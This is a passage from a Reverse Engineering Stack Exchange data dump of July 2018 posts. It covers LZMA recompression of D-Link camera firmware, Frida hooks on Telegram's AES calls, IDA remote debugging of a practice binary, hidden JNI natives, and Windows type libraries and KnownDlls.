  <row Id="18774" PostTypeId="1" CreationDate="2018-07-12T13:58:58.327" Score="1" ViewCount="1210" Body="&lt;p&gt;I am reversing a Dlink camera firmware (&lt;code&gt;dcs5000l_v1.03.05.bin&lt;/code&gt;) and am able to extract lzma data via &lt;code&gt;dd&lt;/code&gt; and decompress it via &lt;code&gt;lzma -d lzma_data.lzma&lt;/code&gt;. I want to be able to recreate the lzma archive from the extracted file to then later modify it. The problem is, I am not able to recreate the exact lzma file. &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Issue 1&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;When I try to recompress the extracted data, I am able to get the the right properties (byte &lt;code&gt;0x5d&lt;/code&gt;) and dictionary size (&lt;code&gt;0x02000000&lt;/code&gt;) via &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;lzma -8 -z decompressed_data&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;, but the data is streamed, so the header does contain &lt;code&gt;0xFFFF...&lt;/code&gt; instead of the uncompressed size (&lt;code&gt;0x6b660a&lt;/code&gt;, in swapped endianess &lt;code&gt;0x0a666b&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a comparison of the beginning of the original lzma data and my recreation:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Original&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;00000000: 5d00 0000 020a 666b 0000 0000 0000 006f  ].....fk.......o&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Recreation&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;00000000: 5d00 0000 02ff ffff ffff ffff ff00 006f  ]..............o&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From what I &lt;a href=&quot;http://manpages.ubuntu.com/manpages/trusty/man1/lzmp.1.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;read&lt;/a&gt;, the data should only be compressed streamed when the lzma tools gets the data from stdin, but in my case I'm giving the complete file to the tool and would expect that the uncompressed size is written into the header. I dont't know whether my camera could handle streamed mode and would like to create non-streamed lzma data. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Any ideas how I could force that?&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Issue 2&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Besides that, I also have the issue of the recreated lzma payload beeing different. Starting from position &lt;code&gt;0000 00B0&lt;/code&gt;, the lzma compressed data starts to differ:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Original&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;000000b0: 2d7b 73cd 13f6 1621 2ea9 ea09 20f1 8a47  -{s....!.... ..G&#xA;000000c0: 0c5a 53cc d87f d893 45a2 5196 8960 84dd  .ZS.....E.Q.....&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Recreation&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;000000b0: 2d7b 73cd 13f6 1621 2ea9 ea09 20f1 8a4a  -{s....!.... ..J&#xA;000000c0: 4634 378a ac21 efd9 c3e2 3ada 4744 a347  F47..!....:.GD.G&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The size of the compressed lzma archives also differs between the original (size: 4522684 bytes) and the recreated file (size: 4521221 bytes). From what I understood the streamed vs. non-streamed issue should not affect the actual compressed data and just append a 5 or 6 bytes end-of-stream marker to the end. So even though I have the right properties and dictionary size, the lzma compressed data differs in my recreation and has a different size. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Do you know why this could be the case and if I can fix it?&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="25007" LastEditorUserId="25007" LastEditDate="2018-07-12T15:15:20.883" LastActivityDate="2020-01-15T00:32:20.170" Title="Recreating a lzma archive (non-streamed)" Tags="|firmware|file-format|unpacking|embedded|packers|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18775" PostTypeId="1" CreationDate="2018-07-12T15:57:13.517" Score="2" ViewCount="1293" Body="&lt;p&gt;I want to trace Android Telegram app(open-source) to learn its protocol. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the source code these two functions &lt;code&gt;AES_set_encrypt_key&lt;/code&gt; and &lt;code&gt;AES_ctr128_encrypt&lt;/code&gt; are used to do the encryption, and I can verify that these two functions are called when sending packets because the &lt;strong&gt;frida-trace&lt;/strong&gt; can log and print the call:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;frida-trace -U -i AES_ctr128_encrypt -i AES_set_encrypt_key org.telegram.messenger&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I try to hook them and print the parameters:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// telegram.js&#xA;&#xA;Java.perform(function () {&#xA;    console.log('tg loaded');&#xA;&#xA;    Interceptor.attach(Module.findExportByName ('libcrypto.so', 'AES_set_encrypt_key'), {&#xA;        onEnter: function(args) {&#xA;            console.log('enter 1');&#xA;        },&#xA;        onLeave: function (retval) {&#xA;        }&#xA;    });&#xA;    Interceptor.attach(Module.findExportByName ('libcrypto.so', &quot;AES_ctr128_encrypt&quot;), {&#xA;        onEnter: function(args) {&#xA;            console.log('enter 2');&#xA;        },&#xA;        onLeave: function (retval) {&#xA;        }&#xA;    });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And use this telegram.js like: &lt;code&gt;frida -U -l telegram.js org.telegram.messenger&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the hook to &lt;code&gt;onEnter&lt;/code&gt; is never called.&lt;/p&gt;&#xA;" OwnerUserId="17710" LastActivityDate="2018-07-12T15:57:13.517" Title="frida hook jni not work" Tags="|android|function-hooking|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18777" PostTypeId="1" AcceptedAnswerId="18791" CreationDate="2018-07-12T18:46:13.663" Score="1" ViewCount="1974" Body="&lt;p&gt;I am trying to debug remotly an ELF from my windows 10 (the ELF runs on my ubuntu 32 bit vm) (the ELF is from pwnable.kr - unlink).&#xA;Because the exploit is via gets() I try to pass input through the &quot;debugger options&quot; in IDA:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/OTDYM.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/OTDYM.png&quot; alt=&quot;The process options&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I also tried doing it without the &quot;parameters&quot;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;anyway this is the the exception I get when I get to &quot;gets&quot; function. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ajxwT.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ajxwT.png&quot; alt=&quot;The exception on IDA&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to understand from the internet how people usually use remote debugging with IDA and use the process' stdin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTW: this is how it runs: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;shahar@ubuntu:~/Desktop$ ./linux_server unlink&#xA;IDA Linux 32-bit remote debug server(ST) v1.15. Hex-Rays (c) 2004-2012&#xA;Listening on port #23946...&#xA;=========================================================&#xA;[1] Accepting connection from 192.168.188.1...&#xA;here is stack address leak: 0xbfdfdc04&#xA;here is heap address leak: 0x9085410&#xA;now that you have leaks, get shell!&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot for your help! :-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;EDIT:&lt;/em&gt;&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is where the error is raised:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/lNcNz.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/lNcNz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="23755" LastEditorUserId="23755" LastEditDate="2018-07-13T14:35:07.423" LastActivityDate="2018-07-13T14:55:27.440" Title="IDA - Remote debug on linux" Tags="|ida|debugging|elf|remote|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18778" PostTypeId="1" CreationDate="2018-07-12T18:55:55.337" Score="1" ViewCount="791" Body="&lt;p&gt;I'm doing reverse engineering of a mobile application for android and I had a question how to find the executable code of the native method in the library * .so. From the code of the code, the native method &lt;code&gt;void method(int i)&lt;/code&gt; is called. But it is not in the list of exported functions in the library!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I made a test project. The fact is that when we declare the native method in Java code, we write this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;extern &quot;C&quot;&#xA;JNIEXPORT jstring&#xA;JNICALL&#xA;Java_com_test_MainActivity_stringFromJNI(&#xA;        JNIEnv *env,&#xA;        jobject /* this */) {&#xA;    std::string hello = &quot;Hello from C++&quot;;&#xA;    return env-&amp;gt;NewStringUTF(hello.c_str());&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in this case the method will be in the list of exported library methods.&#xA;I do not understand how to define the native function so that it is not visible in the list of exported functions?&#xA;And how to look for the source code for such functions?&lt;/p&gt;&#xA;" OwnerUserId="24925" LastEditorUserId="24925" LastEditDate="2018-07-16T14:58:48.173" LastActivityDate="2018-07-16T14:58:48.173" Title="How to find the executable code of the native method in the library * .so? (Android)" Tags="|ida|decompilation|android|java|libraries|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18779" PostTypeId="1" CreationDate="2018-07-12T20:43:16.687" Score="1" ViewCount="100" Body="&lt;p&gt;When I open an .exe file in IDA, each time I get a different function address because each time I get a different base address offset.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if I open an .exe file with IDA and want to tell a friend &quot;look on sub_8876,&quot; he can't do it because of the different offset.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the solution for that?&lt;/p&gt;&#xA;" OwnerUserId="23993" LastEditorUserId="24714" LastEditDate="2018-07-16T14:26:41.463" LastActivityDate="2018-09-17T13:00:30.150" Title="How to refer to the same call on separate IDAs" Tags="|ida|address|offset|" AnswerCount="2" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="18780" PostTypeId="2" ParentId="15579" CreationDate="2018-07-12T21:02:58.180" Score="1" Body="&lt;p&gt;The other proposed answers are clearly the primary applications of rotate instructions; however, I (perhaps somewhat uniquely) use them as a means to non-destructively &lt;a href=&quot;http://dsasmblr.com/accessing-and-modifying-upper-half-of-registers/&quot; rel=&quot;nofollow noreferrer&quot;&gt;access data in the upper half of 32-bit and 64-bit registers&lt;/a&gt; (primarily when dealing with packed data while reversing video game coordinate data).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since there are no instructions that specifically do that task, it's necessary to shift (destructive) or rotate (non-destructive) that data to the lower half of registers so it can be accessed/modified accordingly.&lt;/p&gt;&#xA;" OwnerUserId="20928" LastActivityDate="2018-07-12T21:02:58.180" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18781" PostTypeId="2" ParentId="18778" CreationDate="2018-07-13T04:15:46.883" Score="2" Body="&lt;p&gt;There are two different ways to define JNI methods. The easiest way is to just give the functions special names like in the examples you've seen. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, this is not necessary. JNI methods can also be registered dynamically with the &lt;code&gt;RegisterNatives&lt;/code&gt; method. This is typically done in a function named &lt;code&gt;JNI_OnLoad&lt;/code&gt;, which will automatically be called when the library is loaded. This lets you basically just pass a table of function pointers to the VM, so the methods don't even have to appear in the symbol table anywhere. In fact, you could theoretically write out the code at runtime and pass a pointer to that.&lt;/p&gt;&#xA;" OwnerUserId="1739" LastActivityDate="2018-07-13T04:15:46.883" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18782" PostTypeId="1" CreationDate="2018-07-13T04:46:28.123" Score="3" ViewCount="1838" Body="&lt;p&gt;My machine at work has recently been updated to Windows 10, from Windows 7, and it has become incredibly slow. The IT has installed a bunch of new tools for security and protection after the upgrade but they are saying the problem is not with their tools. I have been trying to figure out what is going on. I am not the only engineer who has having this problem and almost all Windows 10 users are experiencing this issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I started monitoring some of the installed programs using &lt;a href=&quot;http://www.rohitab.com/apimonitor&quot; rel=&quot;nofollow noreferrer&quot;&gt;API Monitor&lt;/a&gt; and I have noticed that any system call related to disk I/O is taking a really long time to return. I capture a run of the application and then parse the summary and try to find the hottest API calls.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I monitored the program that I myself am developing and the following API calls take around 70% of the total time:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;_wopen&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;CreateFileA&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;fgets&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;ReadFile&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I assumed it might be a disk related issue but in safe mode everything works as expected and feels snappy. I tested the same app in safe mode and the above API calls are still the hottest calls but they barely make 5% of the total running time. This makes me believe the problem is not disk but rather some other installed service on my machine that monitors all disk I/O related API calls and makes my machine so slow. However I don't know which application is interfering with the API calls.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I find why a specific API call is taking so much time? Can I step into windows kernel and debug this issue? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this is the right place for this post.&lt;/p&gt;&#xA;" OwnerUserId="16901" LastActivityDate="2018-07-16T08:11:11.173" Title="How to debug slow Windows API calls?" Tags="|winapi|api|windows-10|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="18785" PostTypeId="2" ParentId="18669" CreationDate="2018-07-13T06:55:55.850" Score="6" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Requirements:&lt;/strong&gt; Here I used &lt;code&gt;tilb64.exe&lt;/code&gt; from IDA SDK for making 64bit type library. IDA installation folder is &lt;code&gt;E:\IDA70&lt;/code&gt; and Windows SDK and DDK version 10.0.17134.0. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Options used:&lt;/strong&gt; The following two batch files are: one for SDK and one for DDK. Copy the code in .bat or .cmd file. Edit the necessary paths for your IDA and SDK/DDK. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-c     create til-file&#xA;-h...  parse .h file&#xA;-D...  define a symbol&#xA;-I...  list of include directories&#xA;-e     ignore errors&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Windows.h header file:&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;@echo off&#xA;cls&#xA;set ver=10.0.17134.0&#xA;set folder=%ProgramFiles(x86)%\Windows Kits\10\Include\%ver%&#xA;E:\IDA70\tilib64.exe -c ^&#xA;-Cc1 ^&#xA;-D_MSC_VER=1914 ^&#xA;-D_MSC_FULL_VER=191426433 ^&#xA;-D_WIN32_WINNT=0x0A00 ^&#xA;-DNTDDI_VERSION=WDK_NTDDI_VERSION ^&#xA;-DWDK_NTDDI_VERSION=NTDDI_WIN10_RS4 ^&#xA;-DNTDDI_WIN10_RS4=0x0A000005 ^&#xA;-D_WIN32 ^&#xA;-D_AMD64_ ^&#xA;-D_M_AMD64 ^&#xA;-D_inline=inline ^&#xA;-D__inline=inline ^&#xA;-D__forceinline=inline ^&#xA;-Dbool=uint8_t ^&#xA;-DSIZE_T=size_t ^&#xA;-DPSIZE_T=size_t* ^&#xA;-h&quot;%folder%\um\Windows.h&quot; ^&#xA;-I&quot;%folder%\cppwinrt\winrt&quot; ^&#xA;-I&quot;%folder%\km&quot; ^&#xA;-I&quot;%folder%\km\crt&quot; ^&#xA;-I&quot;%folder%\shared&quot; ^&#xA;-I&quot;%folder%\ucrt&quot; ^&#xA;-I&quot;%folder%\um&quot; ^&#xA;-I&quot;%folder%\winrt&quot; ^&#xA;-e ^&#xA;Windows_17134.til&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;ntddk.h header file:&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;@echo off&#xA;cls&#xA;set ver=10.0.17134.0&#xA;set folder=%ProgramFiles(x86)%\Windows Kits\10\Include\%ver%&#xA;E:\IDA70\tilib64.exe -c ^&#xA;-Cc1 ^&#xA;-D_MSC_VER=1914 ^&#xA;-D_MSC_FULL_VER=191426433 ^&#xA;-D_WIN32_WINNT=0x0A00 ^&#xA;-DNTDDI_VERSION=WDK_NTDDI_VERSION ^&#xA;-DWDK_NTDDI_VERSION=NTDDI_WIN10_RS4 ^&#xA;-DNTDDI_WIN10_RS4=0x0A000005 ^&#xA;-D_WIN32 ^&#xA;-D_AMD64_ ^&#xA;-D_M_AMD64 ^&#xA;-D_inline=inline ^&#xA;-D__inline=inline ^&#xA;-D__forceinline=inline ^&#xA;-D__volatile=volatile ^&#xA;-Dbool=uint8_t ^&#xA;-DRC_INVOKED ^&#xA;-D_INC_STRING ^&#xA;-h&quot;%folder%\km\ntddk.h&quot; ^&#xA;-I&quot;%folder%\cppwinrt\winrt&quot; ^&#xA;-I&quot;%folder%\km&quot; ^&#xA;-I&quot;%folder%\km\crt&quot; ^&#xA;-I&quot;%folder%\shared&quot; ^&#xA;-I&quot;%folder%\ucrt&quot; ^&#xA;-I&quot;%folder%\um&quot; ^&#xA;-I&quot;%folder%\winrt&quot; ^&#xA;-e ^&#xA;ntddk_17134.til&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Notes:&lt;/strong&gt; The include folder (with &lt;code&gt;-I&lt;/code&gt; option) may change in future. The definitions (with &lt;code&gt;-D&lt;/code&gt; option) are added by judging the conditional &lt;code&gt;#define&lt;/code&gt; in corresponding header files. Add more definition until you satisfied. But there are many syntax errors in header files which are suppressed with &lt;code&gt;-e&lt;/code&gt; option. Those can be remove only by editing every header files but that is more time consuming and tedious.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="23069" LastEditorUserId="23069" LastEditDate="2018-07-22T13:58:56.713" LastActivityDate="2018-07-22T13:58:56.713" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18786" PostTypeId="1" CreationDate="2018-07-13T07:33:17.070" Score="3" ViewCount="3467" Body="&lt;p&gt;I add some comments to exe file with ida(save on idb).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any simple way how to see all my comments in 1 windows?  &lt;/p&gt;&#xA;" OwnerUserId="23993" LastActivityDate="2018-09-12T04:00:58.550" Title="How to see all my comments on idb file" Tags="|ida|windows|exe|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18787" PostTypeId="1" CreationDate="2018-07-13T09:48:35.070" Score="1" ViewCount="678" Body="&lt;p&gt;I'm debugging an &lt;code&gt;.exe&lt;/code&gt; file with IDA , and always I see specific value in my stack , for ex. &lt;code&gt;AABBCCDDEEFF&lt;/code&gt; .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That value interests me, I want to know where this value comes from, how it gets pushed onto the stack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I put some condition so that when my stack includes this value, the debugger breaks, so that I can see which function pushes/pushed it to stack?&lt;/p&gt;&#xA;" OwnerUserId="24879" LastEditorUserId="245" LastEditDate="2018-07-13T11:04:11.593" LastActivityDate="2018-07-13T12:59:45.383" Title="How to stop debugging while a specific value is on the stack?" Tags="|ida|windows|debugging|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="18789" PostTypeId="2" ParentId="18787" CreationDate="2018-07-13T12:36:53.360" Score="1" Body="&lt;p&gt;You need a tracer for such things. See the tools like Ponce &lt;a href=&quot;https://github.com/illera88/Ponce&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/illera88/Ponce&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="22324" LastActivityDate="2018-07-13T12:36:53.360" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18790" PostTypeId="2" ParentId="18787" CreationDate="2018-07-13T12:52:20.453" Score="2" Body="&lt;p&gt;This has already been answered here : &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/14187/ollydbg-how-to-set-a-conditional-breakpoint-for-a-value-anywhere-in-the-stack&quot;&gt;OllyDbg: How to set a conditional breakpoint for a value anywhere in the stack?&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a specific plugin for the &lt;strong&gt;x64dbg debugger&lt;/strong&gt; by mrexodia that can do exactly what you have asked for : &lt;a href=&quot;https://github.com/mrexodia/StackContains&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/mrexodia/StackContains&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Taken from &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/14199/18402&quot;&gt;here&lt;/a&gt; :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/0taGk.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/0taGk.png&quot; alt=&quot;Use it like this&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will break when the value &lt;strong&gt;00E60000&lt;/strong&gt; appears on the stack like this :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/P9bfK.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/P9bfK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I'd already mentioned, the pics are taken from &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/14187/ollydbg-how-to-set-a-conditional-breakpoint-for-a-value-anywhere-in-the-stack&quot;&gt;the thread&lt;/a&gt; that I'd linked to above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suggest that you read the full thread to gain a full understanding of the process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do realize that you'd mentioned &lt;strong&gt;IDA&lt;/strong&gt; in your question but using the plugin in the x64dbg debugger that I linked to above, makes your job a whole lot easier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck :) &lt;/p&gt;&#xA;" OwnerUserId="18402" LastEditorUserId="18402" LastEditDate="2018-07-13T12:59:45.383" LastActivityDate="2018-07-13T12:59:45.383" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="18791" PostTypeId="2" ParentId="18777" CreationDate="2018-07-13T14:55:27.440" Score="2" Body="&lt;p&gt;What I usually do is to supply the STDIN data from a file. So, in the command line you used to run the Linux debugging server I would just add the redirection of the file with the inputs for the get, like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$ ./linux_server unlink &amp;lt; your_file&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For some reason, I never got to work the redirection in parameters with remote debuggers.&lt;/p&gt;&#xA;" OwnerUserId="111" LastActivityDate="2018-07-13T14:55:27.440" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18792" PostTypeId="1" AcceptedAnswerId="18793" CreationDate="2018-07-13T19:14:12.190" Score="2" ViewCount="509" Body="&lt;p&gt;I'm just starting in learning some Reverse Engineering and there are a lot of DLLs being imported or called at runtime and I'd like to know what they do. I would have expected that there would be documentation pages for common DLLs, or at least all of Microsoft's DLLs, but mostly when I Google for information about DLLs there are a lot of &lt;em&gt;How to fix your missing VCRUNTIME140.dll&lt;/em&gt; or such.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there really no great way of getting information about DLLs asides from looking at them yourself or happening to find answers or references at various places online?&lt;/p&gt;&#xA;" OwnerUserId="24714" LastActivityDate="2018-07-15T19:26:23.437" Title="Is there a good place to search information about known DLLs?" Tags="|windows|dll|libraries|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18793" PostTypeId="2" ParentId="18792" CreationDate="2018-07-13T21:44:31.897" Score="3" Body="&lt;p&gt;I'm sorry to have to correct you, but &lt;code&gt;VCRUNTIME140.dll&lt;/code&gt; is for example &lt;strong&gt;no&lt;/strong&gt; known DLL (checked on Windows 7). &quot;Known DLLs&quot; is in fact a term that refers to a well-defined subset and the NT object manager is &lt;em&gt;exactly&lt;/em&gt; the way to find out about which ones are known DLLs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But that's likely not what you're asking. Instead you might want to try out the &lt;a href=&quot;http://www.dependencywalker.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Dependency Walker&lt;/a&gt; or a similar tool to find out what functions are exported by certain DLLs. Then look up these functions on &lt;a href=&quot;https://msdn.microsoft.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;MSDN&lt;/a&gt; to find out what they're doing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if &lt;em&gt;that&lt;/em&gt; is seriously where you are coming from, you may want to start by grabbing a book on Win32 API programming or read some tutorials. Either way reverse engineering should &lt;em&gt;follow&lt;/em&gt; the engineering part. Which is to say that the engineering expertise is a prerequisite. In your case that means intimate knowledge of lots of aspects of Windows &lt;em&gt;already&lt;/em&gt; as a prerequisite.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, DLLs have gotten messy/orderly depending on whom you ask. There are so-called API sets which Windows uses since Windows 7 (IIRC) to group functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check out these two resources regarding API sets:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.nirsoft.net/articles/windows_7_kernel_architecture_changes.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Windows 7 Kernel Architecture Changes - api-ms-win-core files&#xA;&lt;/a&gt; ... the title is a misnomer and seems to refer more to kernel32.dll than to the actual Windows kernel.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.geoffchappell.com/studies/windows/win32/apisetschema/&quot; rel=&quot;nofollow noreferrer&quot;&gt;The API set schema&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Hope this helps a bit to get you started, but quite honestly if you don't already have an excellent working knowledge of Windows programming and architecture you might want to postpone picking up Windows targets for reverse engineering.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Actual&lt;/strong&gt; known DLLs on a Windows 7. You can see (and export) such a list yourself using a tool like &lt;a href=&quot;https://bitbucket.org/assarbad/ntobjx/downloads/&quot; rel=&quot;nofollow noreferrer&quot;&gt;this one&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;\KnownDlls [Directory]&#xA;    advapi32.dll [Section]&#xA;    api-ms-win-downlevel-advapi32-l1-1-0.dll [Section]&#xA;    api-ms-win-downlevel-normaliz-l1-1-0.dll [Section]&#xA;    api-ms-win-downlevel-ole32-l1-1-0.dll [Section]&#xA;    api-ms-win-downlevel-shlwapi-l1-1-0.dll [Section]&#xA;    api-ms-win-downlevel-user32-l1-1-0.dll [Section]&#xA;    api-ms-win-downlevel-version-l1-1-0.dll [Section]&#xA;    CFGMGR32.dll [Section]&#xA;    clbcatq.dll [Section]&#xA;    COMCTL32.dll [Section]&#xA;    COMDLG32.dll [Section]&#xA;    CRYPT32.dll [Section]&#xA;    DEVOBJ.dll [Section]&#xA;    difxapi.dll [Section]&#xA;    gdi32.dll [Section]&#xA;    IERTUTIL.dll [Section]&#xA;    IMAGEHLP.dll [Section]&#xA;    IMM32.dll [Section]&#xA;    kernel32.dll [Section]&#xA;    KERNELBASE.dll [Section]&#xA;    KnownDllPath [SymbolicLink] -&amp;gt; C:\Windows\system32&#xA;    LPK.dll [Section]&#xA;    MSASN1.dll [Section]&#xA;    MSCTF.dll [Section]&#xA;    MSVCRT.dll [Section]&#xA;    NORMALIZ.dll [Section]&#xA;    NSI.dll [Section]&#xA;    ntdll.dll [Section]&#xA;    ole32.dll [Section]&#xA;    OLEAUT32.dll [Section]&#xA;    profapi.dll [Section]&#xA;    PSAPI.DLL [Section]&#xA;    rpcrt4.dll [Section]&#xA;    sechost.dll [Section]&#xA;    Setupapi.dll [Section]&#xA;    SHELL32.dll [Section]&#xA;    SHLWAPI.dll [Section]&#xA;    URLMON.dll [Section]&#xA;    user32.dll 